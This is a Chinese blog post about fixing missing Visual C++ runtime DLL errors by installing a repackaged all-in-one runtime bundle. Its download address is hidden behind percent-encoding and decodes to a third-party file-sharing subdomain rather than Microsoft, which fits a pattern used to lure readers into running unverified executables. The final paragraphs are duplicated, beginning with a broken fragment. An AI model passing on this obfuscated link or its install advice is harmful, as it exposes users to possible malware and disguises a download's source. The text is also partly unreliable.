文章目录
装完系统,兴冲冲打开软件,结果弹窗一句「丢失 xxx.dll」。或者更具体的「找不到 MSVCP140.dll」。遇到这种提示先别急着重装软件,问题多半不在软件本身,而是系统里少了它依赖的运行库。
下面按顺序讲三件事:运行库是什么、怎么下载、微软常用运行库合集怎么装。做完之后,电脑的运行环境基本就齐了。
运行库缺失到底是怎么回事
先把它说清楚。微软运行库(Microsoft Visual C++Redistributable)是 Windows 上的一组底层组件。从 Visual C++ 2005、2008、2010、2012、2013 一路到 2015-2022,每个版本都对应一批运行时文件。绝大多数软件启动时,都要向这组文件取东西。

少哪个版本,软件就报哪个错。所以补运行库不是修软件,是补环境。
补齐环境有两条路:
- 去微软官网,把每个版本挨个下载、挨个安装;
- 用一个微软常用运行库合集,双击一次,常用版本全部装齐。
第一条路费时间,还得先判断缺的是哪一版。微软常用运行库合集的做法是把常用版本打包到一起,普通用户装一遍就够,不用研究版本对应关系。
微软运行库安装包获取
请将下面的地址复制到浏览器地址栏打开👇
%69%38%37%39%31%34%64%2E%70%61%6E%2E%62%65%65%33%6B%77%2E%63%6F%6D

这次用到的版本是 25.12.03,发文时的最新版。Visual C++ 的常用版本都装在里面,一次能覆盖绝大多数软件。
微软常用运行库合集安装教程
微软常用运行库合集的安装不难,照顺序点就行。
① 下载 微软常用运行库合集 2025.12.03.exe,双击运行。界面上会列出全部待安装的组件:

② 不确定该装哪一版,就看报错。提示 VCRUNTIME140.dll 或 MSVCP140.dll,缺的是 2015-2022 版;msvcp120.dll 对应 2013 版,msvcp110.dll 对应 2012 版,msvcp100.dll 对应 2010 版。文件名里的那串数字,就是版本号。实在判断不出来,保持默认的全选状态就可以:

③ 点「安装」,剩下的交给它自己跑:

④ 等程序装完,一般几分钟:

不重启有时也能用,但装完还是建议重启一次。重启能让所有组件正确注册到系统,省掉后面一些说不清的小毛病。
微软常用运行库合集使用注意事项
① 微软常用运行库合集支持重复安装。装两遍、装多个版本都不冲突,系统只保留需要的组件,也不会拖慢机器。忘了装没装过,直接再装一遍最省事。
② 装完之后,之前报错的软件先重启再打开。注册表信息和服务要重启才完全生效,多数情况重启就好了。
③ 不要随手卸载运行库,除非你确定没有软件在用它。确实需要卸载(比如腾空间),按下面的路径走:
- 打开控制面板,进入程序和功能;
- 在列表里找到要卸载的 Microsoft Visual C++ 版本;
- 右键点击它,选择「卸载」。
④ macOS 和 Linux 不用装微软运行库,这组组件是 Windows 专属的。
总结
运行库是 Windows 软件的地基。缺了它,报错一个接一个;补上之后,很多「打不开、闪退」当场消失。
微软常用运行库合集只有几十 MB,下载安装都没什么门槛。装完重启,再开之前报错的软件,基本就正常了。刚装完系统的机器,建议第一时间把它装上,以后遇到报错也不用再挨个查版本。
好了,今天的内容就到这里。觉得有用,记得点赞收藏。
微软常用运行库合集与系统自带运行库的区别
有人会问,系统不是自带运行库吗,为什么还要装微软常用运行库合集。
区别在覆盖范围。Windows 出厂预装的只是少数几个常用版本,数量有限,遇到依赖老版本或者较新版本的软件,照样报错。微软常用运行库合集把 2005 到 2022 的主流版本一次性打包,覆盖的软件面更宽。
区别还在安装方式。系统自带的组件跟着系统更新走,缺了哪一版只能去官网单独找;合集是双击一次全装齐,省掉了逐个下载的环节。
两者并不冲突。系统自带的组件继续留着,合集装上去是补充,重复的版本会自动跳过。所以不必先卸载系统里的运行库,直接装合集就行。
独找;合集是双击一次全装齐,省掉了逐个下载的环节。
两者并不冲突。系统自带的组件继续留着,合集装上去是补充,重复的版本会自动跳过。所以不必先卸载系统里的运行库,直接装合集就行。